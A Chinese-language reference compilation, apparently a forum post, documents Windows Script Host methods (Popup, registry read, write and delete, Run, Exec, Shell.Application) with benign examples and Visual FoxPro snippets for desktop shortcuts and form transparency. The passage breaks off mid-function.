Popup 方法显示一个弹出式消息框窗口，消息框中包含的消息由 strText 指定。该消息框的窗口标题由 strTitle 指定。若 strTitle 省略，则窗口标题为 Windows Scripting Host。<br>
<br>
语法<br>
WshShell.Popup(strText, [natSecondsToWait], [strTitle], [natType]) = intButton<br>
<br>
注释<br>
若提供 natSecondsToWait 且其值大于零，则消息框在 natSecondsToWait 秒后关闭。<br>
<br>
natType 的含义与其在 Win32? MessageBox 函数中相同。下表显示 natType 中的值及含义。下表中的值可以组合。<br>
<br>
按钮类型<br>
值 说明 <br>
0 显示&ldquo;确定&rdquo;按钮 <br>
1 显示&ldquo;确定&rdquo;和&ldquo;取消&rdquo;按钮 <br>
2 显示&ldquo;终止&rdquo;、&ldquo;重试&rdquo;和&ldquo;忽略&rdquo;按钮 <br>
3 显示&ldquo;是&rdquo;、&ldquo;否&rdquo;和&ldquo;取消&rdquo;按钮 <br>
4 显示&ldquo;是&rdquo;和&ldquo;否&rdquo;按钮 <br>
5 显示&ldquo;重试&rdquo;和&ldquo;取消&rdquo;按钮<br>
<br>
<br>
图标类型<br>
值 说明 <br>
16 显示停止标记图标 <br>
32 显示问号图标 <br>
48 显示感叹号图标 <br>
64 显示信息标记图标<br>
<br>
<br>
以上两个表并不涵盖 natType 的所有值。完整的列表请参阅 Win32 文档。<br>
<br>
返回值 intButton 指示用户所单击的按扭编号。若用户在 natSecondsToWait 秒之前不单击按扭，则 intButton 设置为 -1 。<br>
<br>
值 说明 <br>
1 &ldquo;确定&rdquo;按扭 <br>
2 &ldquo;取消&rdquo;按扭 <br>
3 &ldquo;终止&rdquo;按扭 <br>
4 &ldquo;重试&rdquo;按扭 <br>
5 &ldquo;忽略&rdquo;按扭 <br>
6 &ldquo;是&rdquo;按扭 <br>
7 &ldquo;否&rdquo;按扭<br>
<br>
示例<br>
Set WshShell = Wscript.CreateObject(&quot;Wscript.Shell&quot;)<br>
WshShell.Popup &quot;Where do you want to go today?&quot;<br>
<br>
请参阅<br>
Wscript.Echo 方法<br>
<br>
Wscript.Echo<br>
Echo 方法在窗口（Wscript.exe 中）或&ldquo;命令提示符&rdquo;窗口（Cscript.exe 中）显示参数。<br>
<br>
参数用空格分隔。在 Cscript.exe 中，该方法在显示最后一个参数之后输出一对回车/换行（CR LF）。<br>
<br>
语法<br>
Wscript.Echo [anyArg...]<br>
<br>
示例 <br>
Wscript.Echo<br>
Wscript.Echo 1, 2, 3<br>
Wscript.Echo &quot;Windows Scripting Host is cool.&quot;<br>
<br>
WshShell.RegDelete<br>
RegDelete 从注册表中删除名为 strName 的键或值。<br>
<br>
语法<br>
WshShell.RegDelete strName<br>
<br>
参数<br>
strName <br>
如果 strName 以反斜杠 (\) 结束，则该方法删除键而不是值。 <br>
strName 参数必须以下列之一的根键名开始：<br>
<br>
短根键名 长根键名 <br>
HKCU HKEY_CURRENT_USER <br>
HKLM HKEY_LOCAL_MACHINE <br>
HKCR HKEY_CLASSES_ROOT <br>
HKEY_USERS <br>
HKEY_CURRENT_CONFIG<br>
<br>
<br>
示例<br>
Set WshShell = Wscript.CreateObject(&quot;Wscript.Shell&quot;)<br>
<br>
WshShell.RegDelete &quot;HKCU\ScriptEngine\Value&quot; ' Delete value &quot;Value&quot;<br>
WshShell.RegDelete &quot;HKCU\ScriptEngine\Key\&quot; ' Delete key &quot;Key&quot;<br>
<br>
请参阅<br>
WshShell.RegRead 方法、WshShell.RegWrite 方法<br>
<br>
<br>
WshShell.RegRead<br>
RegRead 方法返回名为 strName 的注册表键或值。<br>
<br>
语法<br>
WshShell.RegRead(strName) = strValue<br>
<br>
参数<br>
strName <br>
如果 strName 以反斜杠 (\) 结束，则该方法返回键，而不是值。<br>
strName 参数必须以下列根键名开始。<br>
<br>
Short Long <br>
HKCU HKEY_CURRENT_USER <br>
HKLM HKEY_LOCAL_MACHINE <br>
HKCR HKEY_CLASSES_ROOT <br>
HKEY_USERS <br>
HKEY_CURRENT_CONFIG<br>
<br>
<br>
注释<br>
RegRead 方法仅支持 REG_SZ、REG_EXPAND_SZ、REG_DWORD、REG_BINARY 和 REG_MULTI_SZ 数据类型。若注册表有其他数据类型，RegRead 返回 DISP_E_TYPEMISMATCH。<br>
<br>
示例<br>
Set WshShell = Wscript.CreateObject(&quot;Wscript.Shell&quot;)<br>
<br>
WshShell.RegRead(&quot;HKCU\ScriptEngine\Val&quot;) ' Read from value &quot;Val&quot;<br>
WshShell.RegRead(&quot;HKCU\ScriptEngine\Key\&quot;) ' Read from key &quot;Key&quot;<br>
<br>
请参阅<br>
WshShell.RegDelete 方法、WshShell.RegWrite 方法<br>
<br>
<br>
WshShell.RegWrite<br>
RegWrite 方法设置名为 strName 的注册表键或值。<br>
<br>
语法<br>
WshShell.RegWrite strName, anyValue, [strType]<br>
<br>
参数<br>
strName <br>
若 strName 以一个反斜杠 (\) 结束，则该方法设置键，而不是值。<br>
strName 参数必须以下列根键名开头。<br>
<br>
Short Long <br>
HKCU HKEY_CURRENT_USER <br>
HKLM HKEY_LOCAL_MACHINE <br>
HKCR HKEY_CLASSES_ROOT <br>
HKEY_USERS <br>
HKEY_CURRENT_CONFIG<br>
<br>
<br>
anyValue <br>
当 strType 为 REG_SZ 或 REG_EXPAND_SZ 时，RegWrite 方法自动将 anyValue 转换为字符串。若 strType 为 REG_DWORD，则 anyValue 被转换为整数。若 strType 为 REG_BINARY，则 anyValue 必须是一个整数。<br>
<br>
strType <br>
RegWrite 方法支持 strType 为 REG_SZ、REG_EXPAND_SZ、REG_DWORD 和 REG_BINARY。若其他的数据类型被作为 strType 传递，RegWrite 返回 E_INVALIDARG。 <br>
示例<br>
Set WshShell = Wscript.CreateObject(&quot;Wscript.Shell&quot;)<br>
<br>
WshShell.RegWrite &quot;HKCU\ScriptEngine\Value&quot;, &quot;Some string value&quot;<br>
WshShell.RegWrite &quot;HKCU\ScriptEngine\Key\&quot;, 1 &quot;REG_DWORD&quot;<br>
<br>
请参阅<br>
WshShell.RegDelete 方法、WshShell.RegWrite方法<br>
<br>
<br>
WshShell.Run<br>
Run 方法创建一个新的进程，该进程以 intWindowStyle 窗口样式执行 strCommand。<br>
<br>
语法<br>
WshShell.Run (strCommand, [intWindowStyle], [blnWaitOnReturn])<br>
<br>
参数<br>
strCommand <br>
在 strCommand 参数内部的环境变量被自动扩展。<br>
<br>
intWindowStyle <br>
这是为新进程在 STARTUPINFO 结构内设置的 wShowWindow 元素的值。其意义与 ShowWindow 中的 nCmdShow 参数相同，可取以下值之一。名称 值 含义 <br>
SW_HIDE<br>
0 隐藏窗口并激活另一窗口。 <br>
SW_MINIMIZE<br>
6 最小化指定窗口并激活按 Z 序排序的下一个顶层窗口。 <br>
SW_RESTORE<br>
9 激活并显示窗口。若窗口是最小化或最大化，则恢复到原来的大小和位置。在还原应用程序的最小化窗口时，应指定该标志。 <br>
SW_SHOW<br>
5 以当前大小和位置激活并显示窗口。 <br>
SW_SHOWMAXIMIZED<br>
3 激活窗口并以最大化显示该窗口。 <br>
SW_SHOWMINIMIZED<br>
2 激活窗口并以最小化显示该窗口。 <br>
SW_SHOWMINNOACTIVE<br>
7 最小化显示窗口。活动窗口保持活动。 <br>
SW_SHOWNA<br>
8 以当前状态显示窗口。活动窗口保持活动。 <br>
SW_SHOWNOACTIVATE<br>
4 按窗口最近的大小和位置显示。活动窗口保持活动。 <br>
SW_SHOWNORMAL<br>
1 激活并显示一个窗口。若窗口是最小化或最大化，则恢复到其原来的大小和位置。<br>
<br>
<br>
blnWaitOnReturn <br>
如果未指定 blnWaitOnReturn 或其值为 FALSE，则该方法立即返回到脚本继续执行而不等待进程结束。<br>
若 blnWaitOnReturn 设为 TRUE，则 Run 方法返回由应用程序返回的任何错误代码。如果未指定 blnWaitOnReturn 或其值为 FALSE，则 Run 返回错误代码 0（zero）。<br>
<br>
示例<br>
' This fragment launches Notepad with the current executed script<br>
Set WshShell = Wscript.CreateObject(&quot;Wscript.Shell&quot;)<br>
WshShell.Run (&quot;notepad &quot; &amp; Wscript.ScriptFullName)<br>
WshShell.Run (&quot;%windir%\notepad&quot; &amp; Wscript.ScriptFullName)<br>
<br>
' This fragment returns the error code from the executed application<br>
Return = WshShell.Run(&quot;notepad &quot; &amp; Wscript.ScriptFullName, 1, TRUE)<br>
<br>
3. 关于Shell.Application的使用<br>
3.1、创建 Shell 对象<br>
var Shell = new ActiveXObject(&quot;Shell.Application&quot;);<br>
<br>
3.2、使用 Shell 属性及方法<br>
<br>
Shell.Application<br>
Shell.Parent<br>
<br>
Shell.CascadeWindows()<br>
Shell.TileHorizontally()<br>
Shell.TileVertically()<br>
Shell.ControlPanelItem(sDir) /* 比如：sysdm.cpl */<br>
Shell.EjectPC()<br>
Shell.Explore(vDir)<br>
Shell.Open(vDir)<br>
Shell.FileRun()<br>
Shell.FindComputer()<br>
Shell.FindFiles()<br>
Shell.Help()<br>
Shell.MinimizeAll()<br>
Shell.UndoMinimizeALL()<br>
Shell.RefreshMenu()<br>
Shell.SetTime()<br>
Shell.TrayProperties()<br>
Shell.ShutdownWindows()<br>
Shell.Suspend()<br>
oWindows = Shell.Windows() /* 返回ShellWindows对象 */<br>
fFolder = Shell.NameSpace(vDir) /* 返回所打开的vDir的Folder对象 */<br>
oFolder = Shell.BrowseForFolder(Hwnd, sTitle, iOptions [, vRootFolder]) /* 选择文件夹对话框 */<br>
/*示例：<br>
function BrowseFolder()<br>
{<br>
var Message = &quot;清选择文件夹&quot;;<br>
<br>
var Shell = new ActiveXObject( &quot;Shell.Application&quot; );<br>
var Folder = Shell.BrowseForFolder(0,Message,0x0040,0x11);<br>
if(Folder != null)<br>
{<br>
Folder = Folder.items(); // 返回 FolderItems 对象<br>
Folder = Folder.item(); // 返回 Folderitem 对象<br>
Folder = Folder.Path; // 返回路径<br>
if(Folder.charAt(varFolder.length-1) != &quot;\\&quot;){<br>
Folder = varFolder + &quot;\\&quot;;<br>
}<br>
return Folder;<br>
}<br>
}<br>
*/<br>
<br>
/*示例：<br>
var Folder = Shell.NameSpace(&quot;C:\\&quot;); // 返回 Folder对象<br>
*/<br>
<br>
其它资料：<br>
<br>
wscript object<br>
关键词： wscript object<br>
<br>
wscript.shell object <br>
1. 3个属性：A.当前目录 B.系统属性（处理器的个数，类型，操作系统相关，根目录，root驱动，可执行文件。。）C.特殊目录（desktop,startmemnum,Favorites .....）<br>
<br>
<br>
//当前目录<br>
Dim WshShell<br>
Set WshShell = WScript.CreateObject(&quot;WScript.Shell&quot;)<br>
WScript.Echo WshShell.CurrentDirectory<br>
<br>
//C.特殊目录<br>
set WshShell = WScript.CreateObject(&quot;WScript.Shell&quot;)<br>
strDesktop = WshShell.SpecialFolders(&quot;Desktop&quot;)<br>
<br>
<br>
2.几个方法：<br>
AppActivate Method | CreateShortcut Method | ExpandEnvironmentStrings Method | LogEvent Method | Popup Method | RegDelete Method | RegRead Method | RegWrite Method | Run Method | SendKeys Method | Exec Method<br>
<br>
<br>
1。AppActivate Method：激活转移focus <br>
set WshShell = WScript.CreateObject(&quot;WScript.Shell&quot;)<br>
WshShell.Run &quot;calc&quot; <br>
WshShell.AppActivate &quot;Calculator&quot;（窗口上边的标题名字）<br>
<br>
2。CreateShortcut Method<br>
<br>
3。ExpandEnvironmentStrings Method<br>
<br>
Remarks<br>
The ExpandEnvironmentStrings method expands environment variables defined in the PROCESS environment space only. Environment variable names, which must be enclosed between &quot;%&quot; characters, are not case-sensitive.<br>
<br>
Example<br>
The following code expands the Windows Directory environment variable and displays it:<br>
<br>
[VBScript] <br>
set WshShell = WScript.CreateObject(&quot;WScript.Shell&quot;)<br>
WScript.Echo &quot;WinDir is &quot; &amp; WshShell.ExpandEnvironmentStrings(&quot;%WinDir%&quot;)<br>
<br>
4.LogEvent Method<br>
<br>
向EventLog 里面添加内容<br>
Set WshShell = WScript.CreateObject(&quot;WScript.Shell&quot;)<br>
rc = runLoginScript() 'Returns true if logon succeeds.<br>
<br>
if rc then<br>
WshShell.LogEvent 0, &quot;Logon Script Completed Successfully&quot;<br>
else<br>
WshShell.LogEvent 1, &quot;Logon Script failed&quot;<br>
end if<br>
<br>
5。Popup Method<br>
<br>
var WshShell = WScript.CreateObject(&quot;WScript.Shell&quot;);<br>
var BtnCode = WshShell.Popup(&quot;Do you feel alright?&quot;, 7, &quot;Answer This Question:&quot;, 4 + 32);<br>
switch(BtnCode) {<br>
case 6:<br>
WScript.Echo(&quot;Glad to hear you feel alright.&quot;);<br>
break;<br>
case 7:<br>
WScript.Echo(&quot;Hope you're feeling better soon.&quot;);<br>
break;<br>
case -1:<br>
WScript.Echo(&quot;Is there anybody out there?&quot;);<br>
break;<br>
谈出一个窗口函数，可以定制窗口<br>
<br>
6。注册表读写<br>
Dim WshShell, bKey<br>
Set WshShell = WScript.CreateObject(&quot;WScript.Shell&quot;)<br>
<br>
WshShell.RegWrite &quot;HKCU\Software\ACME\FortuneTeller\&quot;, 1, &quot;REG_BINARY&quot;<br>
WshShell.RegWrite &quot;HKCU\Software\ACME\FortuneTeller\MindReader&quot;, &quot;Goocher!&quot;, &quot;REG_SZ&quot;<br>
<br>
bKey = WshShell.RegRead(&quot;HKCU\Software\ACME\FortuneTeller\&quot;)<br>
WScript.Echo WshShell.RegRead(&quot;HKCU\Software\ACME\FortuneTeller\MindReader&quot;)<br>
<br>
WshShell.RegDelete &quot;HKCU\Software\ACME\FortuneTeller\MindReader&quot;<br>
WshShell.RegDelete &quot;HKCU\Software\ACME\FortuneTeller\&quot;<br>
WshShell.RegDelete &quot;HKCU\Software\ACME\&quot;<br>
<br>
7.Run Method 运行一个新的程序<br>
<br>
The following VBScript code does the same thing, except it specifies the window type, waits for Notepad to be shut down by the user, and saves the error code returned from Notepad when it is shut down.<br>
<br>
Set WshShell = WScript.CreateObject(&quot;WScript.Shell&quot;)<br>
Return = WshShell.Run(&quot;notepad &quot; &amp; WScript.ScriptFullName, 1, true)<br>
<br>
<br>
8。SendKeys Method 输入键盘<br>
<br>
9。Exec Method <br>
Runs an application in a child command-shell, provi* access to the StdIn/StdOut/StdErr streams.<br>
<br>
Dim WshShell, oExec<br>
Set WshShell = CreateObject(&quot;WScript.Shell&quot;)<br>
<br>
Set oExec = WshShell.Exec(&quot;calc&quot;)<br>
<br>
Do While oExec.Status = 0<br>
WScript.Sleep 100<br>
Loop<br>
<br>
WScript.Echo oExec.Status<br>
<br>
<br>
注册：2007年10月30日 第 7 楼小大 个性首页 | QQ | 邮箱 | 主页<br>
<br>
<br>
*--1、为程序创建所有用户的桌面快捷方式<br>
<br>
RunExe=Sys(16)<br>
WshShell=Createobject(&quot;WScript.Shell&quot;)<br>
strDesktop=WshShell.SpecialFolders(&quot;AllUsersDesktop&quot;) &amp;&amp;获取桌面路径<br>
RunLink=Addb(strDesktop)+&quot;庭燕图片管理器.lnk&quot;<br>
If !File(&quot;&amp;RunLink.&quot;) &amp;&amp;如果不存在同名快捷方式则开始创建<br>
If Messagebox(&quot;程式现在还没有[桌面快捷方式]，是否建立？&quot;,4+32,&quot;快捷方式&quot;)=6<br>
oShellLink=WshShell.CreateShortcut(&quot;&amp;RunLink.&quot;) &amp;&amp;被创建快捷方式名称<br>
oShellLink.TarGetPath=&quot;&amp;RunExe.&quot; &amp;&amp;执行文件的路径及目标文件<br>
oShellLink.WindowStyle=1 &amp;&amp;运行时窗口模式<br>
oShellLink.HotKey=&quot;Ctrl+Alt+P&quot; &amp;&amp;快捷方式热键<br>
oShellLink.IconLocation=&quot;&amp;RunExe.,0&quot; &amp;&amp;快捷方式图标<br>
oShellLink.Description=&quot;快速启动【庭燕图片管理器】&quot; &amp;&amp;快捷方式对象的说明<br>
oShellLink.WorkingDirectory=Justpath(RunExe) &amp;&amp;快捷方式对象工作的目录<br>
oShellLink.Save &amp;&amp;保存快捷文件<br>
Endif<br>
Endif<br>
<br>
<br>
*--2、如何取得电脑名称<br>
<br>
wshNetwork = CreateObject(&quot;WScript.Network&quot;)<br>
? wshNetwork.ComputerName<br>
<br>
*--3、如何用winrar备份你的资料<br>
<br>
rarback=createobject(&quot;wscript.shell&quot;)<br>
rarback.run(&quot;winrar a &quot;+&quot;A:\&quot;+backupfilename+&quot;&quot;+sys(5)+curdir()+&quot;&quot;data\*.*&quot;)<br>
<br>
*--4、 设置表单半透明度<br>
* -------------------------------------<br>
Function SetFormAttri ( toForm, lpnAlpha)<br>
&nbsp;&nbsp;&nbsp;  * 可选参数( 顶层表单对象, 透明度 )<br>
&nbsp;&nbsp;&nbsp;  * 其中透明度由 Alpha(0全透明-255不透明) 值决定<br>
&nbsp;&nbsp;&nbsp;  * 本函数利用 Alpha=255 来设置表单背景色全透明(反正也是表示为不透明,浪费)<br>
&nbsp;&nbsp;&nbsp;  If GetOSVer() &gt;= 2 &amp;&amp; 好像在 Win9x 下不行<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  If TYPE([toForm]) = [O]<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  If uppe(toForm.BaseClass)==[FORM]<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  If toForm.ShowWindow = 2 &amp;&amp; 必需是顶层表单<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  lpnAlpha = IIF(TYPE([lpnAlpha])=[N], lpnAlpha, 162)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  lpnAlpha = IIF(betw(lpnAlpha,0,255), lpnAlpha, 162)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Declare integer FindWindow in user32 string, string<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Local lcOldCaption, lnFormHwnd<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  lcOldCaption = toForm.Caption<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  toForm.Caption = SYS( 2015) + [SetFormAttri]<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  lnFormHwnd = FindWindow(0, toForm.Caption)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  toForm.Caption = lcOldCaption<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  If lnFormHwnd &gt; 0<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  #Define WS_EX_LAYERED 0x80000<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  #Define GWL_EXSTYLE&nbsp;&nbsp;&nbsp;  -20 &amp;&amp; 扩展窗口样式<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  #Define LWA_ALPHA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  0x2 &amp;&amp; 全表单半透明<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  #Define LWA_COLORKEY&nbsp;&nbsp;  0x1 &amp;&amp; 背景色全透明<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Declare integer GetWindowLong in user32 Long hwnd, Long nIndex<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Declare integer SetWindowLong in user32 Long hwnd, Long nIndex, Long dwNewLong<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Declare integer SetLayeredWindowAttributes in user32 Long hwnd, Long crKey, Long bAlpha, Long dwFlags<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Local rtn<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  rtn = GetWindowLong(lnFormHwnd, GWL_EXSTYLE)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  rtn = rtn + WS_EX_LAYERED<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  = SetWindowLong( lnFormHwnd, GWL_EXSTYLE, rtn )<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  If lpnAlpha = 255<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  = SetLayeredWindowAttributes( lnFormHwnd, toForm.BackColor, 0, LWA_COLORKEY )&nbsp;&nbsp;&nbsp;&nbsp;  &amp;&amp; 背景色全透明<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Else<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  = SetLayeredWindowAttributes( lnFormHwnd, toForm.BackColor, lpnAlpha, LWA_ALPHA ) &amp;&amp; 全表单半透明<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Endif<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Endif<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Endif<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Endif<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Endif<br>
&nbsp;&nbsp;&nbsp;  Endif<br>
Endfunc<br>
<br>
* -------------------------------------<br>
* 利用 WSH 建立桌面快捷方式<br>
* -------------------------------------<br>
Function CreaShortCut( tcTargetPath, tcArguments )<br>
&nbsp;&nbsp;&nbsp;  Local lcTargetPath, lcArguments, lcCaption<br>
&nbsp;&nbsp;&nbsp;  lcTargetPath = IIF(TYPE(&quot;lcTargetPath&quot;)=&quot;C&quot;, lcTargetPath, SYS(16,1))<br>
&nbsp;&nbsp;&nbsp;  lcArguments = IIF(TYPE(&quot;tcArguments&quot;)=&quot;C&quot;, tcArguments, [])<br>
&nbsp;&nbsp;&nbsp;  lcCaption = Juststem( lcTargetPath )<br>
<br>
&nbsp;&nbsp;&nbsp;  Local IsCreaWSHobj, lcOldOnError, loShellLink, loWshShell<br>
&nbsp;&nbsp;&nbsp;  IsCreaWSHobj = .T.<br>
&nbsp;&nbsp;&nbsp;  lcOldOnError = ON([Error])<br>
&nbsp;&nbsp;&nbsp;  On Error IsCreaWSHobj = .F.<br>
&nbsp;&nbsp;&nbsp;  loWshShell = CREATEOBJECT(&quot;WScript.Shell&quot;)<br>
&nbsp;&nbsp;&nbsp;  If IsCreaWSHobj and Type([loWshShell])=[O]<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  loShellLink = loWshShell.CreateShortCut( loWshShell.SpecialFolders( &quot;Desktop&quot; ) + [\] + lcCaption + [.lnk] )<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  With loShellLink<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  .TargetPath = lcTargetPath &amp;&amp; 程序名称(带路径)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  .WindowStyle = 4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &amp;&amp; 3=Maximized 7=Minimized 4=Normal<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  .HotKey = []&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &amp;&amp; 定义快捷键<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  .DeScription = lcCaption&nbsp;&nbsp;  &amp;&amp; 显示的名称<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  .IconLocation = []&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &amp;&amp; 显示的图标(*.Ico,*.Bmp)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  .Arguments = lcArguments&nbsp;&nbsp;  &amp;&amp; 运行程序的参数<br>
